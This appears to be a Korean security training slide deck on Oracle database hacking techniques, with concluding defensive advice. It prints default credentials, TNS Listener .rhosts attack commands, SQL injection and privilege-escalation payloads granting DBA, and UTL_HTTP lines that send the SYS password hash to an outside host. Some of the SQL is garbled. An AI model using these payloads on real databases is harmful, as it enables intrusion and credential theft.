Upload
others
View
2
Download
0
Embed Size (px)
Citation preview
Chapter I. 개요
• Agenda- 우리가 잘 모르고 있는 DB 보안
- DB 서버의 Security Hole에 대한 Awareness
- DB 서버를 대상으로 어떤 방식으로 해킹이 되는지 이해
- 안전한 Oracel Database 서버를 위한 기본적인 Idea
- Computer Emergency Response Team(CERT)에 발표에 의하면 모든 해킹의 95%가 알려진 취약점을 이용한다.
- Deloitte 2005 Global Security Suvery 자료에 의하면 내부자에의한 공격이 외부자 공격보다 빈도가 증가하고 있다.
- 궁극적으로 Database 서버의 Security Awareness 및 효과적인보안대책을 수립
Chapter I. 개요
• What are the hackers trying to do- DB를 손상시키거나, 접근 권한을 획득하고자 한다.
- 잘못 설정된 Configuration는 권한 승계를 허용한다.
- 잘못 설정된 Configuration은 비인가 데이터에 접근을 허용한다.
- 잘못 설정된 Configuration은 손상(Damage)와 비즈니스 손실을가져 온다.
• To protect Oracle thing like a hacker - Database를 보안에 대해서 먼저 해커처럼 생각하라
- Oracle에서 발생할 수 있는 모든 Security Hole 및 Risk를 고려
Configuration, Permission, Bug
Chapter I. 개요
• Main Security Problem- 인터넷 액세스 : 디폴트로 DB에서 많은 포트가 Open되어 있음
이는 잠재적으로 MS SQL의 슬래머웜 같은 공격에 취약할 수 있음
- Oracel TNS Listener에 대한 해킹 공격(DoS)
- Buggy 패키지의 취약성을 악용한 해킹 공격
ex) UTL_FILE, DBMS_BACKUP_RESTORE, EMD_SYSTEM,
DBMS_LOB, DBMS_NAMESPACE, DBMS_SCHEDULER
JAVA 등등
- 패키지(Pakage)/Function/프로시저(Procedure)를 악용
- Oracle의 디폴트 패스워드 문제
ex) 초당 1,100,000 hash 크랙 가능(2.8GHz 펜티엄 4 PC)
Chapter II. DB 보안
Oracle Network Architecture – OSI Network 모델Oracle Network Architecture – OSI Network 모델
Chapter II. DB 보안
• Oracle에서 구동되는 프로세스
$ ps -ef | grep oracle
oracle 17749 1 0 11:26:13 ? 0:00 ora_pmon_orasidsol
oracle 17757 1 0 11:26:16 ? 0:01 ora_smon_orasidsol
oracle 17759 1 0 11:26:17 ? 0:00 ora_reco_orasidsol
oracle 17751 1 0 11:26:15 ? 0:01 ora_dbw0_orasidsol
oracle 17753 1 0 11:26:16 ? 0:01 ora_lgwr_orasidsol
oracle 17755 1 0 11:26:16 ? 0:05 ora_ckpt_orasidsol
oracle 17762 1 0 11:30:59 ? 1:34 oracleorasidsol (LOCAL=NO)
PMON 프로세스 : 프로세스 모니터하는 프로세스
SMON 프로세스 : 시스템 모니터 프로세스(crash recovery)
RECO 프로세스 : Distributed Transaction Recovery 프로세스
DBWR 프로세스 : Database Writer 프로세스
LGWR 프로세스 : Log Writer 프로세스, handling redo logs.
CKPT 프로세스 : Checkpoint 프로세스
Chapter II. DB 보안
• DBA를 가지는 것들SYS와 SYSTEM 모두 DBA 권한을 가진 계정이지만 기타 다른 계정에서도
DBA 권한이 부여되어 있는 경우가 간혹 있다.(MDSYS, CTXSYS, WKSYS,
SYSMAN)
SQL> select distinct a.name from sys.user$ a, sys.sysauth$ b
where a.user#=b.grantee# and b.privilege#=4;
NAME
-----------------------------
CTXSYS
SYS
SYSMAN
SYSTEM
WKSYS* Oracle 10g에서는 기본적으로 제거되어 있음
• Oracle Role과 Privilege 해커가 관심있어 하는 중요한 데이터베이스 뷰(DATABASE VIEW)
데이터베이스 뷰 설명(Description)
DBA_USERS DB안에 있는 사용자 계정에 대한 정보(패스워드 포함)
DBA_PROFILE 각 프로파일에 대한 리소스에 관한 정보
ROLE_ROLE_PRIVS 다른 Role에 부여되어 있는 Role를 보여줌
USER_ROLE_PRIVS 현재 사용자에 부여되어 있는 Role 정보를 보여줌
DBA_ROLES DB안에 있는 모든 Role에 대한 모든 상세한 정보
DBA_ROLE_PRIVS 각 사용자와 기타 Role 부여되어 있는 권한 Role 정보
ROLE_SYS_PRIVS 다른 Role에 부여되어 있는 시스템 권한을 보여줌
USER_SYS_PRIVS 현재 사용자에 부여되어 있는 시스템 권한 정보를 보여줌
DBA_SYS_PRIVS 각 사용자와 기타 Role 부여되어 있는 시스템 권한 Role 정보
* System Tablesspace : x$, $가 붙은 테이블(v$fixed_table)
Chapter II. DB 보안
Chapter II. DB 보안
• SYS 스키마 정보와 관련된 것들- 프로세스와 세션 정보는 SYS 스키마에 v$process와 v$session
테이블에 저장됨
- Oracle Intelligent Agent는 TCP port 1748, 1808, 1809 사용
종종 dbsnmp SNMP 요청을 1161번 포트에서 Listening한다.
- Oracle의 디퐅트 SID 목록
Product 디폴트 SID
Oracle XE XE
Oracle 9i ~ 10g IASDB
SAP Standard System SA*, SID
Oracel Default SID ORCL
BEA Weblogic MSAM
Oracle Enterprise Manager Repository OEMREP
Open View OPENVIEW, OVO
Chapter II. DB 보안
• 시스템 권한(System Privilege)SQL> select name from system_privilege_map;
SYSTEM 그룹의 권한 : ALTER ANY, CREATE ANY, EXECUTE ANY,
ANALYZE, AUDIT, DEBUG, DELETE ANY, DROP ANY
Chapter III. DB 해킹 기법
• Oracle DB 보안 취약점 구분1) Oracle의 ‘extpro’와 같은 환경변수의 악용
2) Network Protocol의 인증 결함
3) Authentication Protocol의 결함
4) 비인가 접근
- 안전하지 않은 Oracel TNS Listener 포트에 대한 공격
5) Arbitrary Code Execution in Intrinsic SQL Elements
6) 잘못된 사용
- SQL Injeciton, Dynamic PL/SQL Injection
7) 패키지의 SQL Injection 취약점
- DRILOAD.VALIDATE_STMT SQL Injection를 통해 권한 상승
[예 Oracle 8i 취약점] SQL> exec CTXSYS.DRILOAD.VALIDATE_STMT(‘GRANT DBA TO PUBLIC’);
Chapter III. DB 해킹 기법
• Oracle DB 해킹 기법에 대한 Summary
구분 상세 해킹 구현 기법
디폴트 DB 개정 및 패스워드사용자 인증
Password Cracking
네트워크 서비스 TNS Listener 포트 1521를 통한 해킹 시도
Injection Attack(Code Injection, PL/SQL Injection)
Function Call Injection
Un-documented initialisation parameter(INIT.ORA)
DBMS_SYS_SQL.PARSE_AS_USER 함수를 이용하여 악의적인 PL/SQL 만들어서 실행할 수 있음
Un-Documented
Oracel Stadard 패키지
SQL Injection
CURRENT SESSION
(alter session set current_schema = yes)
Chapter III. DB 해킹 기법
• Default UserNamer과 Password로 접속기본적으로 DB 설치 시 존재하는 계정과 패스워드를 통한 접근 가능
아래에 기술한 것 말고도 디폴트 계정/패스워드는 많다.
- SYS/CHANGE_ON_INSTALL
- SYSTEM/MANAGER
- DBSNMP/DBSNMP
- CTXSYS/CTXSYS
- MDSYS/MDSYS
- SCOTT/TIGER
Chapter III. DB 해킹 기법
• Oracle의 Authentication 취약점2006년 발표된 Critical한 Oracle 취약점(인증 초기화 세션 시의
SQL의 조작을 통한 권한 DBA 권한 상승)
Chapter III. DB 해킹 기법
• SYSMAN의 MGMT_VIEW 정보 추출VIEW_USERNAME, VIEW_PASSWORD에서 취약한 Encryption
패스워드 추출(Oracle 10g, 11g에만 해당됨)
Chapter III. DB 해킹 기법
• TNS Listener Attack(1) - 가장 쉬운 ORACLE 공격 중 하나는 Listener를 공격하는 것
- TNS Denial of Sevices Attack
- Oracel 9i/10g에서 Listener 패스워드가 설정되면 TNS 공격 시 에러가 발생
- 2002년경에 나왔던 Oracle 9i의 Long Service_name 파라메터
오버플로우 취약점
공격예)
(DESCRIPTION=
(ADDRESS=(PROTOCOL=TCP)(HOST=192.168.0.65)(PORT=1521))
(CONNECT_DATA= (SERVICE_NAME=hacker_shellcode_goes_here)
(CID=(PROGRAM=SQLPLUS.EXE)
(HOST=foo)(USER=bar))))
Chapter III. DB 해킹 기법
• TNS Listener Attack(2) root% tnscmd status -h Target.com -p 1521
[TNS 패킷내용]
sending
(CONNECT_DATA=(COMMAND=status)) to Target.com:1521
writing 89 bytes reading
.........6.........`.............j........
(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0) (ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro)
Chapter III. DB 해킹 기법
• TNS Listener Attack(3)rhost 파일에 ‘+ +’를 insert 시켜 rlogin으로 인증없이 서버에 접근
[해킹 공격예]
1) root% ./tnscmd --rawcmd (DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=) (USER=)(COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/home/oracle/.rhosts)))" -h oraclesvr2
2) root% ./tnscmd --rawcmd " + + " -h oraclesvr2
3) root% rlogin -l oracle oraclesvr2
4) root% tnscmd10g.pl -h 10.0.0.151 --10G --rawcmd
"(CONNECT_DATA=((<here your pl/sql code to propagate>"
Chapter III. DB 해킹 기법
• Sniffing ALTER USERSQLNET.ORA 파일에 다음 내용을 추가
TRACE_FILE_SERVER = oug.trc
TRACE_DIRECTORY_SERVER = ../tmp
TRACE_LEVEL_SERVER = SUPPORT
SQL > alter user scott identified by xdgeowvword;
User altered
Chapter III. DB 해킹 기법 – SQL Injection
• SQL Injection Attack 분류- SQL 구문 조작(Manipulation)
- Code 삽입(Injection)
오라클은 Dynamic SQL 형태에서는 Multi SQL Statement를허용하지 않는다.(즉 ‘;’를 허용하지 않는다는 의미)
- Function Call 삽입(Injection)
- Buffer Overflow
Chapter III. DB 해킹 기법 – SQL Injection
• Code Injeciton Attackhttp://www.xxx.com/forum/bbs/download.jsp?idx=5'%20union%20select%20%201,tname,'3',444,'444'%20from%20sys.tab%20where%20tname%20not%20in%20('A0TMSRNES','A0TORGTBL','A0TTBLSCM','A1TXMLINF','A4TCPADLG','BANK_THEME_DATA')--
Chapter III. DB 해킹 기법 – SQL Injection
• Oracle Worm(Voyager) 2005년 11월 익명의 제보자에 의한 Oracle Voyager Worm 제보
- Voyager Worm의 구동
1) Grant DBA to public(CTXSYS.DRILOAD 취약점)
2) Drop the trigger aa
3) Google에 다음과 같은 URL를 요청함http://www.google.de/search?hl=en&q=startc0GtJBi1+fulldisclosure&btnI=I%27m+
Feeling+Lucky
4) 모든 Oracle 해시 패스워드를 [email protected] 주소로 전송
5) Worm이 listener.log 수정하고 다음과 같은 명령어를 glogin.sql에 추가
"alter user mdsys identified by mdsys" 그리고 glogin.sql 실행
6) create database link를 생성하고 패스워드 추출 시(system/manager,
sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)
7) TNS listener 중지 시킴
Chapter III. DB 해킹 기법 – SQL Injection
• Oracle의 PL/SQL의 Rootkit, 백도어
OracleRootkit.sql OracleBackdoor.sql
Chapter III. DB 해킹 기법 – SQL Injection
• Oracle PL/SQL Oracle Rootkit, 백도어Rootkit, 백도어를 이용하여 DB서버로 Reverse 접속
Chapter III. DB 해킹 기법 – SQL Injection
• SQL Manipulation [정상쿼리]
SELELCT * FROM users
WHERE username =‘admin’ and password =‘xagg3’
[SQL Query 조작사례-1]
SELELCT * FROM users
WHERE username =‘admin’ and password =‘xagg3’ or ‘1’=‘1’
[SQL Query 조작사례-2]
SELELCT product_name FROM all_product
WHERE product_name LIKE =‘%LG’UNIONr ‘1’=‘1’ SELECT username FROM dba_users WHERE
username like ‘%’
Chapter III. DB 해킹 기법 – SQL Injection
• Code Injection [Code Injection 에러]
SELELCT * FROM users
WHERE username =‘admin’ and password =‘xagg3’; DELETE
FROM users
Oracle에서는 multiple SQL Statement를 지원하지 않는다. 위와 같은 공격은 실패한다. 따라서 위와 같은 공격은 PL/SQL Block 공격으로 가능
[Anonymous PL/SQL Block에서 공격]
BEGIN ENCRYPTION_PASSWORD(‘admin’ and password=
‘xagg3’); DELETE FROM users WHERE upper(username) =
upper(‘admin’); END;
Chapter III. DB 해킹 기법 – SQL Injection
• Function Call Injection Oracle의 패키지의 Function이나 사용자 Function에서 SQL 구문을
Injection 시키는 공격
Oracle은 1000개의 Function과 175개 정도의 기본 패키지를 지원함
[정상적인 경우]
SELELCT TRANSLATE(‘user input’, ‘0123456789ABCDEFGH
IJKLMNOPQRSTUVWXYZ’, ‘0123456789’) FROM dual;
[Function Call Injection 공격]
SELELCT TRANSLATE(‘‘ || UTL_HTTP.REQUEST(http://192.
168.1.1/’) || ’’ ‘0123456789ABCDEFGHIJKLMNOPQRSTUVW
XYZ’, ‘0123456789’) FROM dual;
Chapter III. DB 해킹 기법 – SQL Injection
• PL/SQL에서의 SQL Injection 스토어드 프로시저는 PL/SQL나 JDBC의 Callablestatement 둘 중
에 하나의 형태로 호출되어 사용된다.
• PL/SQL이 실행되는 4가지 Type - Embeded SQL Statement : Compiled, Bind Variable만 허용
- Static Cursors : Compiled, Bind Variable만 허용
- ECUTE IMMEDIATE : DBMS_SQL를 대체함
- DBMS_SQL 패키지 : Dynamic SQL의 옛날 방식
간혹, EXECUTE IMMEDIATE와 DBMS_SQL를 결합해서 사용하는 경우도 있음.
Chapter III. DB 해킹 기법 – SQL Injection
• PL/SQL의 구성
• PL/SQL 3가지 Block Type - Anonymous, Procedure, Function
Chapter III. DB 해킹 기법 – SQL Injection
• EXECUTE IMMEDIATE 구문(1) PL/SQL 코드 안에서 Dynamic SQL를 실행시킴
예) SQL Injection 공격에 취약한 execute immediate 구문
CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) ASsqlstr VARCHAR2(1000);code VARCHAR2(100);
BEGIN…sqlstr := ‘SELECT postal-code FROM state WHERE state-name = ‘`` | name| ’’’’;EXECUTE IMMEDIATE sqlstr;…
END;/ State-name = :name;
Bind Variable 형태로 하면 SQL Injection 공격을 차단할 수 있다.
Chapter III. DB 해킹 기법 – SQL Injection
• EXECUTE IMMEDIATE 구문(2) Anonymous PL/SQL Block은 SQL Injection 공격에 매우 취약
예) SQL Injection 공격에 취약한 execute immediate 구문
CREATE OR REPLACE PROCEDURE demo (name IN VARCHAR2) ASsqlstr VARCHAR2(1000);code VARCHAR2(100);
BEGIN…
-- 취약한 경우의 코드
EXECUTE IMMEDIATE ‘BEGIN updatepass (’’’ || value || ’’’); END’;
-- 취약하지 않은 코드
cmd := ‘BEGIN updatepass (:1); END’;EXECUTE IMMEDIATE cmd USING value;
…END;/
Chapter III. DB 해킹 기법 – SQL Injection
• Injecting Function- 만약 Attacker가 서버에서 function을 생성할 수 있다면 악의적인
PL/SQL function를 만들어 실행하거나 SQL 구문에 Injection할수 있다.
- Attacker가 사용할 함수는 AUTHID CURRENT_USER 키워드가설정되어 있어야 함
스토어드 프로시저 실행권한(invoker, definer)의 상관없이 접근권한은 실행할 때
컴파일 유저가 아닌 현재 접속해 있는 유저
- AUTONOMOUS_TRANSACTION pragma를 설정해야 함.
Chapter III. DB 해킹 기법 – SQL Injection
• Injecting Function- requisite privilege로 실행되어야 SCOTT가 DBA Role를 획득
하게 된다.
LIST_LIBRARIES 프로시저가 다음과 같이 실행되는 것을 의미한다.
SELECT object_name FROM all_objects WHERE owner = 'ABC'||SCOTT.GET_DBA()
CREATE OR REPLACE FUNCTION GET_DBA RETURN VARCHAR AUTHID CURRENT_USER ISPRAGMA AUTONOMOUS_TRANSACTION;BEGINEXECUTE IMMEDIATE 'GRANT DBA TO SCOTT';END;/GRANT EXECUTE ON GET_DBA TO PUBLIC;/
SQL> EXEC SYS.LIST_LIBRARIES('ABC''||SCOTT.GET_DBA()--');
PL/SQL procedure successfully completed.
Chapter III. DB 해킹 기법 – SQL Injection
• Injecting Function사용자 Function을 통한 Privilege Escalation
Oracle 10g에서 테스트한 결
과 (Oracle CPU July 2006
패치되어 더 이상 공격안됨)
Chapter III. DB 해킹 기법 – SQL Injection
• Injecting Function
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN
DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT OBJECT_NAME FROM
ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY''';
LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND;
END LOOP; CLOSE CV;
END;/
SQL> EXEC SYS.LIST_LIBRARIES('MDSYS');ORDMD_IDX_LIBSORDMD_REL_LIBSORDMD_WD_LIBSORDMD_MBR_LIBSORDMD_UDT_LIBSEATE OR REPLACE PROCEDURE
만약 SQL Injection 취약점이 존재한다면
P_OWNER파라메터에 UNION SELECT 구문을
삽입하는 공격이 가능하다.
SQL> EXEC SYS.LIST_LIBRARIES('NOUSER'' UNION SELECT PASSWORD FROM DBA_USERS--');
23F797F38974856E29802572EB547DBF2A09F346B78868672BE6F80744E08FEB
정상적인 쿼리
SQL Injection 쿼리
Chapter III. DB 해킹 기법 – 패키지 취약점
• 패키지 버그공격 사례 - DBA 권한 획득SQL> select * from user_role_privs;
USERNAME GRANTD_ROLE ADM DEF OS
----------- ----------------- ------ ---- -----
SCOTT CONNECT NO YES NO
SCOTT RESORCE NO YES NO
SQL> exec ctxsys.driload.validate_stmt(‘grant dba to scott’);
BEGIN ctxsys.driload.validate_stmt(‘grant dba to scott’); END; *
ERROR at line 1:
ORA-06510 : PL/SQL: unhandled user-defined exeception
ORA-06512 : at “CTXSYS.DRILOAD”, line 42
ORA-01003 : no statement parsed
ORA-06512 : at line 1
SQL> select * from user_role_privs;
USERNAME GRANTD_ROLE ADM DEF OS
----------- ----------------- ------ ---- -----
SCOTT CONNECT NO YES NO
SCOTT DBA NO YES NO
SCOTT RESORCE NO YES NO
Chapter III. DB 해킹 기법 – 패키지 취약점
• UTL_HTTP 패키지 보안- UTL_HTTP 패키지는 Oracle DB 서버로 Out-of-band 커넥션을
요청 할수 있게 해준다.
- SYS user의 패스워드를 추출할 수 있다.
- 기타 UTL_SMTP, UTP_TCP, UTP_FILE 패키지도 버그가 존재한다면 이와 같은 악의적인 공격이 가능하다.
공격예제)
SELECT utl_http.request('http://192.168.0.100:5500/'||(SELECT password
FROM dba_users WHERE username='SYS')) FROM dual;
Chapter III. DB 해킹 기법 – 패키지 취약점
• UTL_HTTP.REQUEST 패키지 취약점- UTL_HTTP.REQUEST는 SQL injection하는데 특별히 용이
ex) FOO 파라메터에 SQL Injection 취약점이 존재할 경우 공격은 다음과 같이
이루어 진다.
http://example.com/search?FOO=BAR'||utl_http.request(‘http://
192.168.0.100:5500/'||(SELECT PASSWORD FROM DBA_USERS
WHERE USERNAME='SYS'))||'BAR
다른 오라클 네트워크 패키지에서도 다양하게 사용될 수 있다.
(UTL_MAIL, UTL_SMTP, UTL_INADDR)
Chapter III. DB 해킹 기법 소개
• 오라클 DB Link 공격SQL> create database link remote_db connect to scott
identified by tiger
using '(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)
(HOST=192.168.0.120)(PORT=1521))(CONNECT_DATA=
(SERVICE_NAME=sparc10g)))';
Database link가 생성되며 link로 다음과 같이 쿼리를 실행할 수 있다.
DB Link된 서버로 연결되고 ALL_USERS table 쿼리 가능하다
ex)
SQL>SELECT USERNAME FROM ALL_USERS@REMOTE_DB
Chapter III. DB 해킹 기법 소개
• Oracel 버전별 취약점ORACEL 취약점 발표는 2006년 ~ 2007년 기준
구분 상세 분류 Impact
CTXSYS.DRILOAD의 SQL Injection 취약점 Become DBA
Crash Database
Crash Database
Crash Database / Execute Code
Crash Database / Execute Code
Crash Database / Execute Code
DBMS_REPCAT의 버퍼 오버 플로우 Crash Database / Execute Code
UTL_FILE을 통한 Directory Traversal Become DBA
dbms_export_extension의 SQL Injection Become DBA
Views와 outer joins을 통한 Privilege escalation Become DBA
KUPW$WORKER의 SQL Injection Become DBAORACLE 10g
ORACLE 9i
Become DBA
Create Remote Shell
Become DBA
DBMS_SYSTEM.KSDWRT의 버퍼오버플로우
Create Database Link 버퍼 오버플로우
다양한 파일 파라메터 버퍼 오버플로우
DBMS_REPCAT_FGT의 버퍼 오버플로우
DBMS_REPCAT_ADMIN의 버퍼 오버플로우
ORACEL 8i(2005년 기준)
DBMS_XMLSCHEMA_INT 버퍼 오버플로우
DBMS_SYS_SQL을 통한 DBA 권한 획득
dbms_export_extension의 SQL Injection
Chapter III. DB 해킹 기법 소개
• Oracel 버전별 취약점ORACEL 취약점 발표는 2006년 ~ 2007년 기준
구분 상세 분류 Impact
KUPV$FT의 SQL Injection Become DBA via cursor
Become DBA
Become DBA via cursor
Become DBA via cursor
Become DBA via cursor
Become DBA
KUPM$MCP의 SQL Injection Become DBA via cursor
Local Privilege Escalation (win32)
KUPM$MCP의 SQL Injection
KUPW$WORKER의 SQL Injection
KUPV$FT의 SQL Injection
ORACEL 10g
Local Privilege Escalation (win32)
Chapter IV. 결론
• 대응방안- 보안의 궁극적인 목적은 Database에 있는 데이터를 보호하기 위한
것이다.
- Web 보안은 지속적인 점검과 대비를 하지 않으면 언제라도 보안 취약점을 이용한 해커의 공격을 받을 수 있다.
- 사용자는 꼭 필요한 최소권한(least privilege)만을 부여
- Public은 오라클 데이터 베이스의 모든 사용자에게 디폴트로 적용되기 때문에 Public 사용자 그룹에서 불필요한 권한을 제거
- 모든 사용자는 Public에 권한 부여(Privilege grant)여부 점검
- PL/SQL 패키지를 실행시켜 보낼 자신에게 권한 부여된 권한 범위를 넘어서는 작업을 할 수도 있을 것이다.